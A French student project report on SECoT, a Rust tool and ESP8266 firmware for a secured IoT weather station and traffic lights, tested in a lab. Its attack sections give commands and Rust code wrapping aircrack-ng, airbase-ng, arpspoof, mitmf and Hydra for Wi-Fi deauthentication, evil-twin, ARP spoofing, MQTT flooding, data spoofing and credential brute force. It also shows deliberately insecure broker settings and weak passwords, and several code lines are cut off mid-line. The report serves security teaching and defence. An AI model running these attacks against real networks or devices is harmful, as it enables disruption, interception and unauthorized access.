Système IoT Sécurisé et Intégré (Station Météo + Feux de Circulation)

Amen Ellah Kerimi

2024

Remerciements

Nous tenons à exprimer notre profonde gratitude à toutes les personnes qui ont contribué, de près ou de loin, à la réalisation de ce projet de fin d'année.

Tout d'abord, nous remercions chaleureusement notre encadrant, Monsieur Mohamed Ouelhassan, pour son accompagnement, ses conseils précieux, sa disponibilité et ses remarques pertinentes tout au long de ce projet. Son expertise en cybersécurité et son soutien pédagogique ont été essentiels à l'avancement de notre travail. Sa capacité à nous guider avec rigueur et bienveillance nous a permis de mieux structurer notre démarche scientifique et de surmonter les difficultés rencontrées au fil des phases du projet.

Nous adressons également nos remerciements les plus sincères à l'équipe technique de la Faculté des Sciences de Bizerte, pour la mise à disposition du matériel indispensable (cartes Wi-Fi compatibles avec le mode moniteur, dispositifs IoT variés, routeurs configurables) ainsi que pour leur réactivité lors de l'installation des environnements de test et de simulation. Leur soutien technique nous a permis de créer des conditions réalistes de travail et de valider nos expérimentations dans un cadre sécurisé.

Nos remerciements vont aussi à l'ensemble du corps enseignant du département Informatique pour la qualité de leur enseignement, notamment dans les matières relatives aux réseaux, à la sécurité informatique et aux systèmes embarqués. Leurs apports théoriques et méthodologiques ont jeté les bases solides qui nous ont permis de concevoir et de mener à terme ce projet ambitieux.

Nous tenons également à remercier nos camarades de promotion pour les échanges constructifs, l'entraide et l'esprit d'équipe qui ont enrichi notre parcours universitaire et ce projet en particulier.

Enfin, nous remercions chaleureusement nos familles et amis pour leur soutien moral constant, leur compréhension et leurs encouragements tout au long de cette aventure académique. Leur présence à nos côtés, dans les moments de doute comme dans les moments de réussite, a été une source précieuse de motivation et d'énergie.

Introduction Générale

Dans un monde de plus en plus connecté, les dispositifs IoT (Internet of Things) et les réseaux Wi-Fi sont devenus omniprésents dans les environnements personnels, professionnels et industriels. Cette expansion s'accompagne malheureusement de risques de sécurité accrus, notamment en raison de failles dans les protocoles d'authentification, de la mauvaise configuration des objets connectés ou encore du manque de cryptage des échanges.

Notre projet, baptisé SECoT (Secure IoT), s'inscrit dans cette problématique en proposant une solution complète et innovante pour la sécurisation des réseaux IoT. Il combine une station météo connectée et un système de feux de circulation intelligents, le tout protégé par des mécanismes de sécurité avancés.

Architecture du Projet

Vue d'Ensemble

Le projet SECoT est structuré en trois composants principaux :

1. **SECoT_CLI_Tool** : Un outil de ligne de commande robuste développé en Rust pour la gestion et la sécurisation des dispositifs IoT
2. **SECoT** : Le firmware Arduino pour les dispositifs IoT (NodeMCU ESP8266)
3. **VictimProjects** : Des projets de démonstration vulnérables pour tester les mécanismes de sécurité

Composants Techniques

SECoT_CLI_Tool

— Développé en Rust pour des performances optimales
— Architecture modulaire avec des plugins pour différentes fonctionnalités
— Interface en ligne de commande intuitive
— Support complet des protocoles MQTT et Wi-Fi
— Système de logging avancé

SECoT (Firmware)

— Basé sur Arduino pour les NodeMCU ESP8266
— Implémentation sécurisée du protocole MQTT
— Gestion efficace des capteurs et actionneurs
— Système de mise à jour OTA sécurisé
— Gestion de l'énergie optimisée

VictimProjects

— Projets de démonstration avec différentes vulnérabilités
— Environnements de test réalistes
— Documentation détaillée des failles
— Scripts d'installation automatisés

Objectifs du Projet

Les objectifs de ce projet sont multiples et couvrent à la fois l'aspect technique et analytique de la cybersécurité des réseaux sans fil et des objets connectés :

1. **Sécurité**
   - Identifier les vulnérabilités les plus courantes dans les réseaux Wi-Fi et les systèmes IoT
   - Mettre en œuvre des attaques réalistes pour démontrer l'impact potentiel
   - Concevoir des stratégies de défense robustes
2. **Fonctionnalités**
   - Développer une station météo connectée sécurisée
   - Implémenter un système de feux de circulation intelligent
   - Créer un outil de gestion unifié
3. **Innovation**
   - Proposer des solutions de sécurité innovantes
   - Optimiser les performances des dispositifs IoT
   - Améliorer l'expérience utilisateur

Environnement Technique

Systèmes et Matériel Utilisés

Matériel IoT

- NodeMCU ESP8266 (2 unités)
  - Processeur : ESP8266 80MHz
  - RAM : 80KB
  - Flash : 4MB
  - Wi-Fi : 802.11 b/g/n
- Capteur DHT11
  - Plage de température : 0-50°C
  - Précision : ±2°C
  - Plage d'humidité : 20-90% RH
- Écran LCD 16x2 (I2C)
  - Interface : I2C
  - Contraste ajustable
  - Rétroéclairage LED
- Buzzer pour les alertes
  - Fréquence : 2.7kHz
  - Tension : 5V
- 3 LEDs (Rouge, Jaune, Bleue)
  - Tension : 3.3V
  - Courant : 20mA

Matériel de Test

- Ordinateur portable avec Kali Linux
  - Processeur : Intel Core i7

    - RAM : 16GB
    - Stockage : SSD 512GB
- Carte WiFi externe TP-Link TL-WN722N
    - Support du mode moniteur
    - Puissance d'émission : 20dBm
    - Antenne : 5dBi
- Smartphone Android pour les tests d'application
    - Android 11+
    - Support Wi-Fi 5GHz

Outils et Frameworks Sécurité

Outils de Test de Pénétration

- Aircrack-ng : Suite complète pour analyser et attaquer les réseaux Wi-Fi
- Wireshark : Analyseur de paquets pour l'inspection détaillée du trafic
- Ettercap / MITMf : Outils pour les attaques Man-in-the-Middle
- Hydra / John the Ripper : Logiciels de craquage de mots de passe

Technologies Web

- React + Vite pour le frontend
    - React 18
    - Vite 4.x
    - Material-UI
- Flask pour le backend
    - Python 3.9+
    - Flask 2.x
    - SQLAlchemy
- MQTT pour la communication IoT
    - Mosquitto Broker
    - Paho MQTT Client
- TLS pour le chiffrement
    - OpenSSL
    - Certificats auto-signés

Phase 1 : Stratégie de Compromission Réseau

Attaque de Dé-authentification Initiale

Principe

En envoyant des trames de dé-authentification massivement, tous les appareils connectés à un réseau cible sont brutalement déconnectés. Cette technique force les clients à rechercher de nouveau un point d'accès.

Technique

```
# Commande pour lancer l'attaque de dé-authentification
SECoT deauth --interface wlan0 --ap-bssid "00:11:22:33:44:55" --packets 100
```

```
# Pour cibler un client spécifique
SECoT deauth --interface wlan0 --ap-bssid "00:11:22:33:44:55" --client-mac "AA:BB:CC:
```

Code Source de l'Attaque

```
// Extrait de SECoT_CLI_Tool/src/attack_modules/wifi_deauth.rs
pub async fn run_deauth_attack(interface: &str, ap_bssid: &str, client_mac: Option<&s
    let mut aireplay_command = Command::new("aireplay-ng");
    aireplay_command
        .arg("--deauth")
        .arg(packets.to_string())
        .arg("-a").arg(ap_bssid)
        .arg(interface);

    if let Some(client) = client_mac {
        aireplay_command.arg("-c").arg(client);
    }

    let output = aireplay_command.output().await?;
    // Traitement de la sortie...
}
```

Capture des Requêtes de Probe

But de l'attaque

Recueillir la liste des SSID recherchés pour exploiter cette information dans la suite de l'attaque.

Outils et Méthodologie

```
# Commande pour scanner les réseaux Wi-Fi
SECoT scan --interface wlan0 --duration 30
```

Code Source du Scanner

```
// Extrait de SECoT_CLI_Tool/src/attack_modules/wifi_scan.rs
pub async fn run_scan(interface: &str, duration: u64) -> Result<(), Box<dyn std::erro
    let mut airodump_command = Command::new("airodump-ng");
    airodump_command
        .arg("--write")
        .arg("scan_results")
        .arg("--output-format")
        .arg("csv")
        .arg(interface);

    let mut child = airodump_command.spawn()?;
    tokio::time::sleep(Duration::from_secs(duration)).await;
    child.kill()?;
```

```
    // Analyse des résultats...
}
```

Beacon Flood & Evil Twin

Beacon Flood

```
# Commande pour créer un Evil Twin
SECoT evil-twin --interface wlan0 --ssid "Free_WiFi" --channel 1 --target-ip-range "1
```

Code Source de l'Evil Twin

```
// Extrait de SECoT_CLI_Tool/src/attack_modules/wifi_evil_twin.rs
pub async fn run_evil_twin(interface: &str, ssid: &str, channel: u8, target_ip_range:
    // Configuration de l'interface en mode AP
    let mut airbase_command = Command::new("airbase-ng");
    airbase_command
        .arg("-e").arg(ssid)
        .arg("-c").arg(channel.to_string())
        .arg("-v")
        .arg(interface);

    // Configuration du serveur DHCP
    let mut dnsmasq_command = Command::new("dnsmasq");
    dnsmasq_command
        .arg("--interface=at0")
        .arg("--dhcp-range=").arg(target_ip_range)
        .arg("--dhcp-option=3,192.168.1.1")
        .arg("--dhcp-option=6,8.8.8.8,8.8.4.4");

    // Démarrage des services...
}
```

Connexion Forcée et Interception (MiTM)

Objectifs

- Capture de données sensibles
- Injection de code malicieux
- Modification des données transmises

Outils

```
# Commande pour l'ARP Spoofing
SECoT arp-spoof --interface wlan0 --victim-ip "192.168.1.100" --gateway-ip "192.168.1
```

Code Source de l'ARP Spoofing

```rust
// Extrait de SECoT_CLI_Tool/src/attack_modules/wifi_arp_spoof.rs
pub async fn run_arp_spoof(interface: &str, victim_ip: &str, gateway_ip: &str, durati
    let mut arpspoof_command = Command::new("arpspoof");
    arpspoof_command
        .arg("-i").arg(interface)
        .arg("-t").arg(victim_ip)
        .arg(gateway_ip);

    // Configuration de l'interception
    let mut mitmf_command = Command::new("mitmf");
    mitmf_command
        .arg("--arp")
        .arg("--spoof")
        .arg("--gateway").arg(gateway_ip)
        .arg("--targets").arg(victim_ip)
        .arg("--interface").arg(interface);

    // Démarrage des attaques...
}
```

Analyse du Trafic

```rust
// Extrait de SECoT_CLI_Tool/src/parsers/tshark_parser.rs
pub async fn parse_pcap_for_mqtt_traffic(pcap_path: &str) -> Result<Vec<PacketInfo>,
    let mut tshark_command = Command::new("tshark");
    tshark_command
        .arg("-r").arg(pcap_path)
        .arg("-Y").arg("mqtt")
        .arg("-T").arg("json");

    // Analyse des paquets capturés...
}
```

Phase 2 : Exploitation des IoT – Scénarios Réalistes

Scénario 1 : MQTT sans authentification ni chiffrement

Configuration

```
# Configuration du broker Mosquitto sans sécurité
listener 1883
allow_anonymous true
```

Vulnérabilités

— Interception des données sensibles
— Attaques de type spoofing

— Déni de service (DoS)

Exemple d'Attaque avec SECoT

```
# Commande pour inonder le broker MQTT
SECoT mqtt-attack --broker 192.168.1.100 --port 1883 flood --topic test/flood --count

# Commande pour publier des données falsifiées
SECoT mqtt-attack --broker 192.168.1.100 --port 1883 fake-publish --topic weather/tem
```

Code Source de l'Attaque

```
// Extrait de SECoT_CLI_Tool/src/attack_modules/mqtt_attacks.rs
pub async fn flood_broker(broker: &str, port: u16, topic: &str, count: u32) -> Result
    let mut mosquitto_pub_command = Command::new("mosquitto_pub");
    mosquitto_pub_command
        .arg("-h").arg(broker)
        .arg("-p").arg(port.to_string())
        .arg("-t").arg(topic)
        .arg("-m").arg("flood_message")
        .arg("-r");  // Mode répétition pour le DoS
}
```

Scénario 2 : MQTT avec mot de passe simple

Configuration

```
# Fichier mosquitto_passwd
user1:1234
user2:5678
admin:9999

# Fichier ACL (mosquitto_acl.conf)
user user1
topic read weather/#
topic write weather/temperature

user user2
topic read home/#
topic write home/lights

user admin
topic readwrite #
```

Vulnérabilités

— Fuite des identifiants
— Pas de protection contre les attaques MITM
— Contournement possible des ACL

Exemple d'Attaque avec SECoT

```
# Commande pour forcer les identifiants
SECoT mqtt-attack --broker 192.168.1.100 --port 1883 brute-force --users users.txt --
```

Code Source de l'Attaque

```
// Extrait de SECoT_CLI_Tool/src/attack_modules/mqtt_attacks.rs
pub async fn brute_force_mqtt(broker: &str, port: u16, users_file: &str, passwords_fi
    let mut hydra_command = Command::new("hydra");
    hydra_command
        .arg("-L").arg(users_file)
        .arg("-P").arg(passwords_file)
        .arg(format!("{}:{}", broker, port))
        .arg("mqtt");
}
```

Scénario 3 : MQTT sécurisé

Configuration

```
# Configuration du broker Mosquitto sécurisé
listener 8883
cafile /etc/mosquitto/certs/ca.crt
certfile /etc/mosquitto/certs/server.crt
keyfile /etc/mosquitto/certs/server.key
require_certificate true
use_identity_as_username true

# Fichier mosquitto_passwd avec mots de passe forts
admin:$6$rounds=5000$salt$hashed_password
sensor:$6$rounds=5000$salt$hashed_password
client:$6$rounds=5000$salt$hashed_password

# Fichier ACL strict
user admin
topic readwrite #

user sensor
topic write sensors/#
topic read sensors/#

user client
topic read sensors/#
topic write commands/#
```

Sécurité

— Chiffrement TLS
— Authentification forte

— Contrôle d'accès strict
— Validation des certificats

Code Source de la Connexion Sécurisée

```rust
// Extrait de SECoT_CLI_Tool/src/mqtt/client.rs
pub async fn connect(broker: &MqttBroker, username: Option<&str>, password: Option<&s
    let mut mqtt_options = MqttOptions::new(&client_id, broker.ip.to_string(), broker
    mqtt_options.set_keep_alive(Duration::from_secs(5));

    // Configuration TLS
    if let Some(ca_path) = broker.ca_path {
        mqtt_options.set_transport(Transport::Tls(TlsConfiguration::new(
            Some(ca_path),
            None,
            None,
            None,
        )));
    }

    // Authentification
    if let (Some(user), Some(pass)) = (username, password) {
        mqtt_options.set_credentials(user, pass);
    }
}
```

Capacités d'Attaque MQTT de SECoT

Notre outil SECoT dispose de plusieurs fonctionnalités d'attaque MQTT :

1. **Flood Attack**
   — Inondation du broker avec des messages
   — Possibilité de spécifier le nombre de messages
   — Mode répétition continu
2. **Fake Publish**
   — Publication de données falsifiées
   — Contrôle du topic et du payload
   — Répétition configurable
3. **Brute Force**
   — Attaque par dictionnaire des identifiants
   — Support des fichiers de mots de passe
   — Intégration avec Hydra
4. **Spoofing**
   — Simulation de capteurs légitimes
   — Injection de données malveillantes
   — Différents modes d'attaque (réaliste, extrême, oscillant)

Exemple d'Utilisation

```
# Inondation du broker
SECoT mqtt-attack --broker 192.168.1.100 --port 1883 flood --topic test/flood --count

# Publication de données falsifiées
SECoT mqtt-attack --broker 192.168.1.100 --port 1883 fake-publish --topic weather/tem

# Force brute des identifiants
SECoT mqtt-attack --broker 192.168.1.100 --port 1883 brute-force --users users.txt --
```

Analyse et Résultats

Mesure de la portée des attaques

Tests en conditions réelles

- Taux de succès de la dé-authentification : ~100%
- Temps de reconnexion : < 10 secondes
- Capture des handshakes WPA2 réussie

Impact sur les objets IoT

Résultats des tests

- MQTT sans authentification : compromission totale
- Mots de passe faibles : craquage en quelques minutes
- Configuration sécurisée : résistance aux attaques

Solutions et Bonnes Pratiques

Sécurisation des réseaux Wi-Fi

Recommandations

- Utilisation de WPA3
- Mots de passe forts et uniques
- Filtrage des adresses MAC
- Désactivation du WPS
- Surveillance IDS

Sécurisation des IoT

Mesures de protection

- MQTT sur TLS
- Authentification forte
- Mises à jour régulières
- Limitation des accès
- Segmentation réseau

Conclusion

La simulation des attaques sur les réseaux Wi-Fi et les objets IoT révèle des failles majeures qui peuvent être exploitées aisément par des attaquants moyens. La sécurisation nécessite une approche globale combinant bonnes pratiques, choix technologiques adaptés, et sensibilisation des utilisateurs. Ce travail met en lumière la nécessité d'une vigilance accrue à l'heure où l'IoT envahit tous les secteurs.

Bibliographie

1. MQTT Protocol Specification v5.0
2. ESP8266 Technical Reference Manual
3. IoT Security Best Practices Guide
4. TLS 1.3 Protocol Specification
5. React Documentation
6. Flutter Framework Guide
7. Rust Programming Language Book
8. Arduino IoT Security Guidelines
9. IEEE 802.11 Security Standards
10. OWASP IoT Security Guidelines